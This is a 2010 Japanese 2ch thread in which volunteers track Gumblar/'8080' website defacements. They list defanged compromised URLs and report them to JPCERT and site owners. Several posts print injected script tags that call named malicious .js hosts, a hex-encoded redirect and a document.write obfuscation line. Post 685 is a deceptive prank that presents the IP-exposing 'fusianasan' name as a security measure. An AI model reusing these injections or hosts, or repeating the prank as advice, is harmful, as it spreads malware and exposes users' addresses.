- 600 ：名無しさん＠お腹いっぱい。：2010/06/08(火) 08:25:19
- FF君は引っかかりそうだなｗ
- 601 ：名無しさん＠お腹いっぱい。：2010/06/08(火) 09:46:17
- おまいらブラウザの話になるとすぐ沸騰するのなｗ
このスレ的には「>>4をやっておけばおｋ」なんだから
ブラウザがどうのこうのって話は他でやってくれ
- 602 ：名無しさん＠お腹いっぱい。：2010/06/08(火) 09:59:34
- 取扱注意
berkeleyhouse●co●jp
英会話の前にパソコンインストールしなおしたほうが良いね
- 603 ：名無しさん＠お腹いっぱい。：2010/06/08(火) 10:19:38
- [adlib's Blog: 無料で始めるサイト改ざんチェックサービス「サイトミハル(SITEMIHARU)」を開始しました。]2010年2月8日月曜日
■有料版：2万円（税別）/月
http://blog.adlibjapan.jp/2010/02/sitemiharu.html
これ誤判定でしょ？
http://blog.sitemiharu.com/?p=10031
http://blog.sitemiharu.com/?p=10021
- 604 ：名無しさん＠お腹いっぱい。：2010/06/08(火) 10:49:54
- san●ron5●com/gbc
またデジロックかぁ
通報しても落ちないんだろうな
- 605 ：名無しさん＠お腹いっぱい。：2010/06/08(火) 11:32:56
- >>601
「～使ってる俺一番優秀、それ以外の奴はゴミ」って優越感に浸りたい奴の荒らし目的だから触る人がいる限りどうしようもないね
ここID出ないし、かといって初心者板にはガンブラー関連のスレないし
テンプレ偽造で踏ませるとか犯罪まがいも起こるしマジPC初心者には地獄
- 606 ：名無しさん＠お腹いっぱい。：2010/06/08(火) 13:04:01
- dear16●501●jp/deam13/
simple●703●jp/mens
- 607 ：名無しさん＠お腹いっぱい。：2010/06/08(火) 13:30:04
- そういえばこれどうなったの？
IEのあらゆるバージョンにローカル・ファイルへの不正アクセスを許す脆弱性
「設計上の基本特性に関わる問題であるため修正は難しい」との見解を示す
http://www.computerworld.jp/topics/move/173909.html
- 608 ：名無しさん＠お腹いっぱい。：2010/06/08(火) 13:31:22
- 「～使ってる俺一番優秀、それ以外の奴はゴミ」ってことは汚物Zでもわいたのか？
あれが居着くとアフォ発言が増えてスレが荒廃する。
- 609 ：名無しさん＠お腹いっぱい。：2010/06/08(火) 13:44:39
- >>606
以下にリダイレクトされるけどコードが確認できないね
suspended.503.jp/pc.php
- 610 ：名無しさん＠お腹いっぱい。：2010/06/08(火) 14:44:37
- >>602
メル凸したらarenaが動いてくれた様です
まだ一部感染していますが、ウイルスの駆除が始まりました
>>606
aguseで引っ掛けると「Pegel.aa」を検出、Gred及びDr.Webでは問題なし
ソースも問題ないですし、.jsなども存在せず…
リダイレクト先がphpとかそういう理由で検出してるとか？
- 611 ：名無しさん＠お腹いっぱい。：2010/06/08(火) 14:54:51
- >>606は運営会社が対処したんだと思う
megalodon.jp/2010-0608-1449-01/www.dan.co.uk/viewsource/index.php?url=http://webcache.googleusercontent.com/search?q=cache:8xe8YaFjQrUJ:dear16●501●jp/deam13/
- 612 ：名無しさん＠お腹いっぱい。：2010/06/08(火) 16:39:04
- 取扱注意
www●nsc-com●co●jp
www●nagatan●co●jp
同じサーバ上で同じように改ざんされてるとは…。
コンテンツ管理者が同じなのか？
- 613 ：名無しさん＠お腹いっぱい。：2010/06/08(火) 18:17:20
- >>603
指定されたメールアドレスに結果が送信されるます。
日本語が不自由な・・・
- 614 ：コテハン ◆8080adndqg ：2010/06/08(火) 18:26:24
- 【陥落サイトのURL悪用厳禁】
一件だけ投下･･
www●saiwai-estate●net ←なんか変ｗｗ
- 615 ：名無しさん＠お腹いっぱい。：2010/06/08(火) 19:56:05
- >>614
ページ中にこれを発見！！
reachsaw●ru:8080/meebo-com/google●com/monster●com●php
悪用禁止！！
- 616 ：名無しさん＠お腹いっぱい。：2010/06/09(水) 00:05:42
- >>601
その4の対策やっても、Flashの0-dayとかやられるじゃん
Flashの0-Day対策するには、別の方法使うしかない
- 617 ：名無しさん＠お腹いっぱい。：2010/06/09(水) 01:36:02
- ＞メル凸したらarenaが動いてくれた様です
…と思ったら.jsひとつ修正して動きなしってどういうことなのorz
なんかダメっぽいのでJPCERTとIPAに通報しました
>>607
Secuniaを見る限りでは其処から進展してないっぽいです
Firefoxにも脆弱性が見つかってるみたいですし、どうしたものか
>>611
なるほど、そういうことでしたか
しかしaguseはここのところおかしな事続き
>>612
JPCERTに通報、反応待ち
>>614
メル凸済み、反応待ち
- 618 ：名無しさん＠お腹いっぱい。：2010/06/09(水) 03:59:56
- >>607
www.microsoft.com/technet/security/bulletin/ms10-035.mspx
- 619 ：名無しさん＠お腹いっぱい。：2010/06/09(水) 11:32:49
- 取扱注意
www●enzou●jp
- 620 ：名無しさん＠お腹いっぱい。：2010/06/09(水) 12:08:10
- amyou●net/pet/ ←デジロック
www●ad-jeaayf●com/links/ ←デジロック
- 621 ：名無しさん＠お腹いっぱい。：2010/06/09(水) 13:12:28
- www●ktm-ktm●com/tomoko/
- 622 ：名無しさん＠お腹いっぱい。：2010/06/09(水) 13:19:38
- dida●mbsrv●jp
- 623 ：コテハン ◆8080adndqg ：2010/06/09(水) 14:46:48
- 【陥落サイトのURL悪用厳禁】
www●ekinavi●sakura●ne●jp/diet/
www●kamituji1●com/
www●bbfactory●jp/ ←絶賛放置中(再掲載)
stromstein●fc2web●com/
- 624 ：名無しさん＠お腹いっぱい。：2010/06/09(水) 14:55:10
- 取扱注意
yasubei●net
- 625 ：コテハン ◆8080adndqg ：2010/06/09(水) 18:39:34
- 【陥落サイトのURL悪用厳禁】
seikon●nes3●com
www4●atpages●jp/kessan/
掘れば掘るほど出てくる･･orz
- 626 ：名無しさん＠お腹いっぱい。：2010/06/09(水) 19:54:16
- 山形蕎麦と炙りの焔蔵様
感染の告知は無しでしょうか・・・
グーグルで検索しているお客様は逃げていきますョ
- 627 ：名無しさん＠お腹いっぱい。：2010/06/09(水) 21:06:13
- googleの対応は早くてありがたいな
まぁどんどんプログラムの亜種が出てるから「全部感知！」には至ってないけど……
- 628 ：名無しさん＠お腹いっぱい。：2010/06/09(水) 23:01:17
- >>626
なぜ？
- 629 ：名無しさん＠お腹いっぱい。：2010/06/10(木) 01:26:54
- >>628
キャッシュに改ざんの刻印がある
webcache●googleusercontent●com/search?q=cache:sWB9ZGzluRsJ:www.enzou●jp/
- 630 ：名無しさん＠お腹いっぱい。：2010/06/10(木) 01:47:39
- >>602がGREDの解析対象外になっとるｗｗｗ
- 631 ：名無しさん＠お腹いっぱい。：2010/06/10(木) 04:22:43
- って、あれ？
何を検索しても解析対象外になる…
- 632 ：名無しさん＠お腹いっぱい。：2010/06/10(木) 09:24:12
- 何が起こってるんだ？
- 633 ：名無しさん＠お腹いっぱい。：2010/06/10(木) 10:44:03
- elyess●hotel-prony-elysees-paris●com/ao/5/3/
- 634 ：名無しさん＠お腹いっぱい。：2010/06/10(木) 11:18:44
- >>602の英会話スクール
ひっそり修正ですかね
- 635 ：コテハン ◆8080adndqg ：2010/06/10(木) 18:15:47
- 【陥落サイトのURL悪用厳禁】
※8080じゃないやつ
www●alive-kanmoku●com/ansin●html
www●alive-kanmoku●com/bamen-310●html など･･･
www●acl-music●jp/ ←再掲載(改竄されすぎて絶賛崩壊中)
www●minatomo●jp/cart/CreProduct●php ←放置したまま逃げた？
iiji●biz/hirameki/
demchik●100free●com/3●html
- 636 ：名無しさん＠お腹いっぱい。：2010/06/10(木) 19:12:06
- あ、Gred直った
これでやっと凸先のチェックが出来る…さて頑張りますか
>>619-624
JPCERTに報告しました
「www●ekinavi●sakura●ne●jp/diet/」はnotfoundですか？
>>634
駆除が完了するまでに3回ほどメールで突っ込んでます
おかげさまでもう突っ込む気になれません
ところでさっきからPegel.bc仕込んだhtmlメールが何通も届いて…
- 637 ：名無しさん＠お腹いっぱい。：2010/06/10(木) 20:20:09
- www●og●sugiyama-u●ac●jp/itogiku/news/list●html
- 638 ：名無しさん＠お腹いっぱい。：2010/06/10(木) 20:32:30
- >>571
皆さんの善意は尊いですが
誰も見ない細々した陥落サイトが、このスレに報告され、
悪用され、被害拡大している可能性も否定できません
他のスレに張られた例↓
http://pc11.2ch.net/test/read.cgi/sec/1274675964/
http://hideyoshi.2ch.net/test/read.cgi/download/1273831452/484
http://hideyoshi.2ch.net/test/read.cgi/download/1270411236/705
http://live28.2ch.net/test/read.cgi/livemarket1/1275974928/47
http://live28.2ch.net/test/read.cgi/livemarket1/1275974928/81
http://pc12.2ch.net/test/read.cgi/win/1272505857/80
http://live28.2ch.net/test/read.cgi/news4vip/1275908414/48
前スレにもありましたが、継続的に悪用してる事例↓もありますし、良い知恵はないでしょうか
http://pc11.2ch.net/test/read.cgi/sec/1271787262/926
- 639 ：名無しさん＠お腹いっぱい。：2010/06/10(木) 20:39:39
- 638荒らし
- 640 ：名無しさん＠お腹いっぱい。：2010/06/10(木) 21:27:11
- >>637
便所の落書きに貼ってあるURLを疑いもせず、いきなり踏むほうにも問題がある。
- 641 ：名無しさん＠お腹いっぱい。：2010/06/10(木) 21:55:58
- >>612
こっそり修正されていますね
- 642 ：名無しさん＠お腹いっぱい。：2010/06/10(木) 21:57:27
- 長野鍛工株式会社
魚拓
http://megalodon.jp/2010-0608-2004-07/www.nagatan.co.jp/
中野スタンピング株式会社
魚拓
http://megalodon.jp/2010-0608-2000-49/www.nsc-com.co.jp/
- 643 ：名無しさん＠お腹いっぱい。：2010/06/10(木) 22:17:24
- >>638
2chに貼ってあるURLは安易に踏んじゃだめだよ
- 644 ：名無しさん＠お腹いっぱい。：2010/06/10(木) 22:28:32
- このスレの住人は、奇特なことに当事者や関係機関に通報までしている
当事者はそれを受けて実際に対応していっている
２ちゃんにしては、えらいまともなスレだと思う
>>638みたいなこと感じたこともない
それに>>638が言ってるのは2ちゃん内でのことでしかない
それに関しては>>640と言える
ウイルス貼るなんて特定の人間だから、自分の時間使って荒らし報告してアク禁に追い込めば？
- 645 ：名無しさん＠お腹いっぱい。：2010/06/10(木) 22:35:56
- 意味不明
- 646 ：名無しさん＠お腹いっぱい。：2010/06/10(木) 23:19:31
- お前に意味不明
- 647 ：638：2010/06/10(木) 23:32:11
- ここは"日本一巨大"な便所の落書きですから
勢いのあるスレでは、まとめサイト含めてページビューは万いきますよね
「安易に踏むのがダメ」で片付けるのはどうなんでしょう
サイト改竄がこれだけあるんですから、一般感染者は数百倍あるかも
前からノートントラップやブラクラスレのURLが悪用されてましたが
Gumblarは性質が悪いです
ここやブラクラスレで張られたURLを含む投稿を
自動的に受け付けないようにできればいいと思ったんですが
自分も時々感染サイトに報告してますし
このスレのみなさんを尊重してますので荒らしとか言わないで
- 648 ：名無しさん＠お腹いっぱい。：2010/06/10(木) 23:35:23
- >>647
ここはそういうとこじゃないでしょ
他の掲示板ならともかくURL安易に踏んじゃダメってのは2chの基本だよ
- 649 ：名無しさん＠お腹いっぱい。：2010/06/10(木) 23:41:21
- ▽ 板違いと禁止の投稿
セキュリティ関係以外のソフトの話題は板違い。→ 【 Software板 】へ
Winny関連の話題は板違い。→ 【 Download板 】へ
不正アクセスの方法、パスワード・暗号解析など、攻撃方法の話題は禁止です。
荒らし依頼は全ての板で禁止です。
禁止内容の書き込みを発見したら【 削除依頼 】をお願いします。
- 650 ：名無しさん＠お腹いっぱい。：2010/06/10(木) 23:58:49
- >>644
検体拾って提出して、検出率アップにも貢献してるよ
- 651 ：638：2010/06/11(金) 01:22:54
- ２ちゃんで『リンク安易に踏んじゃダメ』ってのは全く正しいのですが
ここはネット初めて5日以内に辿り着くような巨大掲示板ですから
それを免罪符にするのはどうかと思いますよ
www.kdash.jpやHONDAが改竄されたように
セキュ意識なくても、大手のホームページ担当できるんですから
一般人が引っかかっても責められないです
このスレに感染URLを報告したら
後々責任を持って悪用されていないか調べて削除依頼するというのは
自分も面倒臭いと思います
●皆さんはこのスレに貼られた感染サイトが悪用されて
Gumblar被害の拡大につながっている可能性は"0"だとお思いですか？
スクリプトとかプログラムで自動的に悪用投稿されないような方法が
あると思ったのですが……
- 652 ：名無しさん＠お腹いっぱい。：2010/06/11(金) 01:24:57
- 悪用してる連中に、その長ったらしい文章で説教して来い
- 653 ：名無しさん＠お腹いっぱい。：2010/06/11(金) 01:34:25
- >一般人が引っかかっても責められないです
仕事でやってようが趣味だろうが責められるべき
- 654 ：名無しさん＠お腹いっぱい。：2010/06/11(金) 01:43:18
- >>651
自己責任
- 655 ：名無しさん＠お腹いっぱい。：2010/06/11(金) 02:03:58
- あちこちに貼って回ってる馬鹿の自演だろ
- 656 ：名無しさん＠お腹いっぱい。：2010/06/11(金) 02:10:09
- >>651
↓ ↓ ↓ ↓ ↓ ↓ ↓ ↓ ↓
■使い方＆注意
http://info.2ch.net/guide/faq.html#B4
【タグ使用やリンクはできるの？】
>★ ワンポイント
>リンクの中には、ブラウザクラッシャ（ブラクラ）やＰＣクラッシャ（コンコン）やエログロ画像等、悪意をこめて貼り付けられたURLがあります。
>被害を未然に防止するためには、むやみにURLをクリックせず、以降の会話の流れやリンク先のソースをブラクラチェッカー等で確認してみてください。
しっかり書いてあるから>>640の通り。以上。
- 657 ：名無しさん＠お腹いっぱい。：2010/06/11(金) 02:56:47
- >>651
ネット初めて5日ならリカバリも楽じゃね
勉強代としては安い方かと
- 658 ：名無しさん＠お腹いっぱい。：2010/06/11(金) 05:33:41
- www●alive-kanmoku●com/ansin●html
www●alive-kanmoku●com/bamen-310●html
www●acl-music●jp
www●minatomo●jp/cart/CreProduct●php
iiji●biz/hirameki/
demchik●100free●com/3●html
以上JPCERTに報告済み、ねむい
「acl-music」は通報先にちょっと変わったところを混ぜてみました
- 659 ：名無しさん＠お腹いっぱい。：2010/06/11(金) 07:27:04
- Adobe Flash Player 10.1.53.64
- 660 ：名無しさん＠お腹いっぱい。：2010/06/11(金) 08:17:57
- getPlusのオマケつきだよ！
- 661 ：名無しさん＠お腹いっぱい。：2010/06/11(金) 09:21:42
- またgetplusか
まぁどうせコンパネで消すけど……
それにしても出現からもうすぐ一年経つのに「クリーンインストール」っていう最終手段しか感染した場合の対処法の無いヤツも珍しい
スレで報告されてるのが全部じゃないだろうし、いつになったら決着付くのかねぇ
- 662 ：名無しさん＠お腹いっぱい。：2010/06/11(金) 09:45:29
- IE版のFlashのオフラインインストーラー版がほしいときは、FirefoxでFlashダウンロードページにアクセスして
他のブラウザ用を選んでIEを選択すれば大丈夫
それだとgetplus不用でgoogleちゃんもついてないオフライン版をゲットできる
ただし、オフライン版は、更新がAdobe DLM版よりおそく、DLM版公開後1日～数日後になったりする
- 663 ：名無しさん＠お腹いっぱい。：2010/06/11(金) 09:47:03
- Adobe Flash Player 10.1.53.64
http://fpdownload.adobe.com/get/flashplayer/current/install_flash_player.exe
http://fpdownload.adobe.com/get/flashplayer/current/install_flash_player_ax.exe
http://download.macromedia.com/pub/flashplayer/current/uninstall_flash_player.exe
直リン
- 664 ：名無しさん＠お腹いっぱい。：2010/06/11(金) 11:12:08
- 取扱注意
www●maple-k●com
- 665 ：名無しさん＠お腹いっぱい。：2010/06/11(金) 11:34:27
- >>663
ttp://dreamweavermx2.biz/jp/support/flashplayer/ts/documents/tn_15507.htm
Player のバージョンが10.0.45.2なのと更新日:2010年2月12日というのはなんとかならんのかｗ
- 666 ：名無しさん＠お腹いっぱい。：2010/06/11(金) 12:16:46
- >>665
え？
- 667 ：名無しさん＠お腹いっぱい。：2010/06/11(金) 12:48:12
- この現状を見ると、デジタル証明書の存在が無意味じゃないか
- 668 ：名無しさん＠お腹いっぱい。：2010/06/11(金) 12:59:52
- >>663
. ｨ
._ .......､._ _ ／:/l!
:~""''.>ﾞ' "~ ,､､''‐'､| _
ﾞ､'､::::::ﾉ:::::::_,.-=. _～:、 ／_.}'':,
``､/:::::::::__....,._ `ﾞ'Y' _.ｪ-､....._ ／_ﾞ''iﾞﾉ､ﾉ またまたご冗談を
,.--l‐''"~..-_'.x-='"ﾞｰ ､`'-､ ,:' ﾉﾞﾉﾌﾞ
" .!-'",／ `'-‐'') /＼ `/ てﾞノ-〈
.-''~ >'ﾞ:: ‐'"ﾞ./ ヽ.,' ~ ／
／/::::: ', / ,:'ﾞ
- 669 ：名無しさん＠お腹いっぱい。：2010/06/11(金) 13:00:10
- ( ﾟ,_ゝﾟ)ﾊﾞｶｼﾞｬﾈｰﾉ
- 670 ：名無しさん＠お腹いっぱい。：2010/06/11(金) 13:13:50
- >>668
またまたご冗談をｗ AA略
- 671 ：名無しさん＠お腹いっぱい。：2010/06/11(金) 13:50:47
- www●pasar-party●com
- 672 ：名無しさん＠お腹いっぱい。：2010/06/11(金) 14:42:45
- 取扱注意
www●movecafe●com
- 673 ：名無しさん＠お腹いっぱい。：2010/06/11(金) 14:57:18
- >>664
>>671
メル凸済み、反応待ち
- 674 ：名無しさん＠お腹いっぱい。：2010/06/11(金) 14:57:25
- ttp://www.adobe.com/jp/support/flashplayer/ts/documents/tn_15507.htm
あれ？
- 675 ：名無しさん＠お腹いっぱい。：2010/06/11(金) 15:10:35
- >>672
メル凸済み、反応待ち
- 676 ：名無しさん＠お腹いっぱい。：2010/06/11(金) 16:44:06
- 例によってFlashは少し様子見るか…
- 677 ：名無しさん＠お腹いっぱい。：2010/06/11(金) 16:48:17
- OS再起動したらgetPlusだけ消えてる
どうなってんだ
- 678 ：名無しさん＠お腹いっぱい。：2010/06/11(金) 17:04:55
- >>672
Gred、Dr.Webともに反応せず
お手隙の方、精査よろしくです
- 679 ：名無しさん＠お腹いっぱい。：2010/06/11(金) 17:47:23
- >>672
確認できないけど
- 680 ：名無しさん＠お腹いっぱい。：2010/06/11(金) 18:30:35
- ttp://uproda.2ch-library.com/255513AD2/lib255513.jpg
変なエロサイトみて適当にクリックしてたら三分おきに↑の画像が表示されるようになったんだけど解決策ありませんか？ 正直うっとおしいです・・・
- 681 ：名無しさん＠お腹いっぱい。：2010/06/11(金) 18:32:41
- 「変な」とわかっていてなおかつリンク先を踏んだあなたが悪い
・・・じゃなくてスレ違い
- 682 ：名無しさん＠お腹いっぱい。：2010/06/11(金) 18:40:58
- こういう相談って
他人事みたいな口ぶりが多いよね
- 683 ：コテハン ◆8080adndqg ：2010/06/11(金) 18:42:51
- 【陥落サイトのURL悪用厳禁】
www●hd-cre●com/bj-fh ←eval(base64_decode･･ なんだこれ？
※www●hd-cre●com/より下の階層はたぶん全滅
www●saiwai-estate●net ←再掲載(絶賛放置中)
blog●mensura-zoili●com/archives/2
seikon●nes3●com
凸してくれてる人＞乙です
- 684 ：680：2010/06/11(金) 19:13:20
- ttp://www.ad-theater.com/unpaid.php?sw=0
ちなみにサイトはココです
- 685 ：名無しさん＠お腹いっぱい。：2010/06/11(金) 19:39:16
- >>638
２ちゃんねる初心者ですか？
書き込む前にSG(セキュリティー・ガード)に登録しないと危険ですよ。
SGに登録せずに書き込んだ場合、
あなたのパソコンがGumblarに感染させられる恐れがあります。
初期の頃から２ちゃんねるにいる方達はかなりのスキルとこのBBSのコマンドを知っています
ですから簡単にあなたの個人情報等を抜かれ、Googleストリートビューで自宅まで公開された人も数多くおり
社会的に抹殺されてしまう。それが２ちゃんねるの隠れた素顔でもあります
SGしておけばまず実行される.ru:8080自体が無効になってしまうので
どんな凄腕ハッカーでもでも罠URLを踏ませる事ができなくなります
SGに登録する方法は、名前欄に「 fusianasan 」と入れる。
これでSGの登録は完了します
一度登録すれば、ブラウザを閉じない限り継続されます。
２ちゃんねるはルールさえ守れば危険な場所ではありません。
しかし悪意を持った人間も確かに存在します。気を付けて下さいね。
fusianasanは、正式にはフュージャネイザン、
又はフュジャネイザンと読みます。
元々はアメリカの学生達の間で、チャットの時に
セキュリティを強化する為に開発されたシステムです。
fusianasanを掲示板に組み込むのは結構面倒なのですが、
２ちゃんにカキコしてたらウィルスに感染したとか、
個人情報が漏れた等の抗議がうざったくなったひろゆきが、
仕方なく導入しました。
悪意のある人間にクラックされる前にSGを施す事をお勧めします。
- 686 ：名無しさん＠お腹いっぱい。：2010/06/11(金) 19:45:04
- >>683
user1.matsumoto.ne.jp/~goma/js/base64.html
>>685
そのIP暴露方法、まだ有効だったのかｗ
- 687 ：名無しさん＠お腹いっぱい。：2010/06/11(金) 19:50:04
- >>680>>684
いわゆるサイト改竄ではないのでスレチ
鑑定スレに行け
- 688 ：コテハン ◆8080adndqg ：2010/06/11(金) 20:04:48
- >>686
出先から電話だけで掘ってたからデコードできんかったorz
- 689 ：59.106.108.43：2010/06/11(金) 20:24:00
- >>685
代行でGumblarリンク張る奴もいるからね
http://sports2.2ch.net/test/read.cgi/operatex/1274500251/366
http://anchorage.2ch.net/test/read.cgi/siberia/1274857287/410
http://yutori.2ch.net/test/read.cgi/morningcoffee/1273586556/744
Gumbla拡散に利用されて平気なの？
- 690 ：名無しさん＠お腹いっぱい。：2010/06/11(金) 20:53:51
- Flash Player更新したがNOSって名前のフォルダが出来てる・・・
コンパネで消した方がいい？
- 691 ：名無しさん＠お腹いっぱい。：2010/06/11(金) 21:06:11
- shabao●com/public_html/
- 692 ：名無しさん＠お腹いっぱい。：2010/06/11(金) 22:32:55
- >>684
ここ見たらいいんじゃね
http://wiki●higaitaisaku●com/wiki.cgi?page=%B0%AD%BC%C1%A5%EF%A5%F3%A5%AF%A5%EA%A5%C3%A5%AF%BA%BE%B5%BD%A5%B5%A5%A4%A5%C8%A4%CE%A5%B9%A5%D1%A5%A4%A5%A6%A5%A7%A5%A2
- 693 ：名無しさん＠お腹いっぱい。：2010/06/11(金) 22:51:11
- >>690
気にする必要ないと思われ
- 694 ：名無しさん＠お腹いっぱい。：2010/06/11(金) 22:54:49
- >>690
おれもそのファイルできてたけど
中に誰もいませんよ
- 695 ：名無しさん＠お腹いっぱい。：2010/06/12(土) 01:02:42
- http://www.macromedia.com/support/documentation/jp/flashplayer/help/settings_manager09.html
いつのまにFlashにP2P機能がついたんだよ
- 696 ：名無しさん＠お腹いっぱい。：2010/06/12(土) 02:09:20
- 【感染が確認された大手企業一部】
・JR東日本 ・ホンダ ・ローソン ・京王電鉄 ・小林製薬 ・ハウス食品
・ラジオ関西 ・洋菓子販売のモロゾフ など多数
- 697 ：fusianasam：2010/06/12(土) 08:39:17
- test
- 698 ：名無しさん＠お腹いっぱい。：2010/06/12(土) 11:25:06
- >>695
去年の9月くらいに気がついたんだけど
yimg.jpとかのFLASHでUPnPにアクセスしてたわ
今までは勝手にルーターのポート開放してたのか
- 699 ：名無しさん＠お腹いっぱい。：2010/06/12(土) 14:29:01
- これってFireFox のオプションの詳細、一般の中のアクセシビリティの
Web ページの自動転送、再読み込み禁止で警告させることは
出来ないのでしょうか
- 700 ：名無しさん＠お腹いっぱい。：2010/06/12(土) 15:42:00
- >>680
http://blog.trendmicro.co.jp/archives/2729
- 701 ：名無しさん＠お腹いっぱい。：2010/06/12(土) 16:11:38
- 22 名前：（○口○*）さん 投稿日：10/06/12 15:43 ID:h5XAfxXp0
kazoeru■com
誤爆すんなｋｓｇ
- 702 ：名無しさん＠お腹いっぱい。：2010/06/12(土) 16:24:38
- ただでさえバグが多いFlash、いままではネットマーク周りはブラウザ依存だったからよかったものの、
P2P機能がついたりストリーミング機能ついたりして直接ネットワークアクセスなんてされたら、
どんなバグが潜んでるかかわからん
- 703 ：名無しさん＠お腹いっぱい。：2010/06/12(土) 17:18:40
- >>695
なにそれこわい…
>>701
http://www.virustotal.com/jp/analisis/613e307ea2d0993c75f4494e4061e520e2069d6aeee5834352d0ec9fc47c7c96-1276329681
AviraとKasperskyに検体を提出、返事待ち
- 704 ：名無しさん＠お腹いっぱい。：2010/06/12(土) 17:37:38
- >>702
しかも更新はせざるを得ない、しかし更新してもP2Pでポートに穴開けられる
どっちに進んでもPC詳しくない一般人には地獄だなコレ
- 705 ：名無しさん＠お腹いっぱい。：2010/06/12(土) 17:40:33
- >>695のパネルで「常に拒否」にしたんだけど、それでOK？今後も何かしないと
穴開けられる可能性あるのかな。
- 706 ：名無しさん＠お腹いっぱい。：2010/06/12(土) 17:55:34
- いっそflashplayerをアンインスコするのも手だと思うんだ
多少不便にはなるかもしれないがセキュリティにはかえられない
- 707 ：コテハン ◆8080adndqg ：2010/06/12(土) 18:05:06
- 【陥落サイトのURL悪用厳禁】
www3●pf-x●net/~lau ←絶賛放置中
8080のコードがぶった斬られて
<script type="text/javascript" src="http～中略～.js"></script>
なんだこれ？
www●creativeholic●sakura●ne●jp/creativeholic/ ←web屋 カスがｗ
ここにも<script type="text/javascript" src="http～中略～.js"></script>
houritusoudan●net/
やっぱり<script type="text/javascript" src="http～中略～.js"></script>が入ってる
- 708 ：コテハン ◆8080adndqg ：2010/06/12(土) 18:10:13
- 連投スマソ
【陥落サイトのURL悪用厳禁】
www●aoyamabc-online●com/
↓
</html>
<script type="text/javascript" src="http～中略～.js"></script>
<!--06f0d0ddde5fbe2387a6bdb4452f234a-->
8080がコードを変更した可能性あり。
- 709 ：コテハン ◆8080adndqg ：2010/06/12(土) 18:34:37
- 【陥落サイトのURL悪用厳禁】
www●hekimen-ryokuka●com/rss/index●php ←今までのやつ
www●7500zei●com/ ←例のHP更新代行業者
↓
</html>
<script type="text/javascript" src="http～中略～.js"></script>
<!--d2392c04537c5eaf61fe86d1998535a1-->
katusika●net/base/
↓
<script type="text/javascript" src="http～中略～.js"></script>
<!--7e388d5d98d4fbb4bc9eb21bd27c9815-->
- 710 ：名無しさん＠お腹いっぱい。：2010/06/12(土) 18:49:19
- >>706
利便性と両立できないようなセキュリティ対策はゴミだよ。
- 711 ：名無しさん＠お腹いっぱい。：2010/06/12(土) 19:12:49
- llife●sakura●ne●jp/fubo/kyuusyuukonnkatu/
- 712 ：コテハン ◆8080adndqg ：2010/06/12(土) 20:03:21
- 【陥落サイトのURL悪用厳禁】
新型8080(？)っぽいやつ
<script type="text/javascript" src="http～中略～.js"></script>
<!--32文字の英数字-->
↓
canyonhardware●com
d-pic●net/repo/index●html ←絶賛放置中のとこ
電話用のサイトだが･･･
no9-bbs●appspot●com/687474703A2F2F6770696E64792E636F6D2F30312F31392
コードがHEXされとるのがあった
- 713 ：名無しさん＠お腹いっぱい。：2010/06/12(土) 20:37:30
- >>710
動画サイト見ないやつはべつにいいだろ
- 714 ：コテハン ◆8080adndqg ：2010/06/12(土) 20:57:42
- >712
訂正
no9-bbs●appspot●com/687474703A2F2F6770696E64792E636F6D2F30312F31392F
末尾のFが脱落してたorz
- 715 ：名無しさん＠お腹いっぱい。：2010/06/12(土) 23:34:16
- >>713
コンテンツをフラッシュ内リンクでしか表示しないクソサイトも結構多いんだ。
見なくて済むなら即Ｕターンなんだが、施設の予約とかどうしようもなかったり、
特にウェザーニューズがな…。
- 716 ：あんちたった ◆MOTO.0SDfQ ：2010/06/13(日) 00:10:09
- >>715
アレのウザさは半端無いよね。
HTML版も作れや！って感じだよね
- 717 ：名無しさん＠お腹いっぱい。：2010/06/13(日) 01:49:01
- acl-musicのURLをGredで覗いて大爆笑ｗ
あそこは色々な意味で期待を裏切りません
いろいろ忙しくて報告が遅れちゃったので詳細は端折りますけど、
>>701-714までにあるURLは報告済みの反応待ち
これからチェックしようと思ったんですが、Gredがちょっとご機嫌斜め
うまくいかないもんですねえ…
- 718 ：コテハン ◆8080adndqg ：2010/06/13(日) 04:09:23
- >>717 乙乙
【陥落サイトのURL悪用厳禁】
tw13●net/vogue/S-MX/index●html ←相変わらず絶賛放置中
8080のコードが途中でぶった斬られて
↓
<script type="text/javascript" src="ｈttp：／／blog●bigsophieblog●com／OCR●js"></script>
<!--b8bc4160235ef97212335c7af60aeda7-->
houritusoudan●net/
↓
<script type="text/javascript" src="ｈttp:／／blog●bigsophieblog●com／Finder●js"></script>
<!--3edc66f8132dfa1d633ac8c343d2e74e-->
謎の新型の飛び先は
blog●bigsophieblog●com/～.js
sogpaoiy●the-mlmpowercall●com/～.js
この２つに集中してるみたい(現時点では)
お馴染みの激しい難読化されたやつ
shabao●com/public_html/top_footer ←既出だったかな？
www●saihu-shop●com/rss/index●php
あきた(から)ねる･･
- 719 ：名無しさん＠お腹いっぱい。：2010/06/13(日) 16:30:21
- ここの人たちって
どうやって感染サイト探してるの？
虱潰し？
とにかくすごいね
- 720 ：名無しさん＠お腹いっぱい。：2010/06/13(日) 16:38:49
- コードで検索
- 721 ：名無しさん＠お腹いっぱい。：2010/06/13(日) 16:43:16
- >>720
なるほど
- 722 ：名無しさん＠お腹いっぱい。：2010/06/13(日) 16:45:56
- 「Adobe AIR 2」正式版公開、高速化やOSとの連携強化、セキュリティ修正も
http://internet.watch.impress.co.jp/docs/news/20100611_373777.html
これはAdobe AIRにもFlashゼロデイ攻撃の脆弱性が含まれてたということだよな
- 723 ：名無しさん＠お腹いっぱい。：2010/06/13(日) 17:00:08
- アドビは本当にやる気無いな
ゼロデイ状態でも一月くらい平気で待たすし
- 724 ：名無しさん＠お腹いっぱい。：2010/06/13(日) 17:33:35
- document.write('<s'+'cript type="text/javascript" src="[URL]"></scr'+'ipt>');
さっそく弄ってきたｗ
- 725 ：名無しさん＠お腹いっぱい。：2010/06/13(日) 17:35:27
- >>718
新型avast!反応しないね(´･ω･`)
- 726 ：名無しさん＠お腹いっぱい。：2010/06/13(日) 17:48:45
- というか.jsの中身がcom:8080だと今更気付いた
- 727 ：名無しさん＠お腹いっぱい。：2010/06/13(日) 18:38:48
- >>725
新型はリダイレクト先が
blog●bigsophieblog●com/
sogpaoiy●the-mlmpowercall●com/
この２つに集約されてるから、hostsファイルで簡単に蹴れる
ドメインが増えたら抜けちゃうけどなｗ
- 728 ：名無しさん＠お腹いっぱい。：2010/06/13(日) 20:40:59
- >>723
市場独占してるからってふんぞり返って
世界に流通してるソフトのセキュリティを疎かにするってのは
世界中にウイルスを広がらせて打撃を与えてるってのと同義なのにね
ウイルスばらまく連中と大差ない、むしろ一般人にはクリーンを装ってる分それ以上か
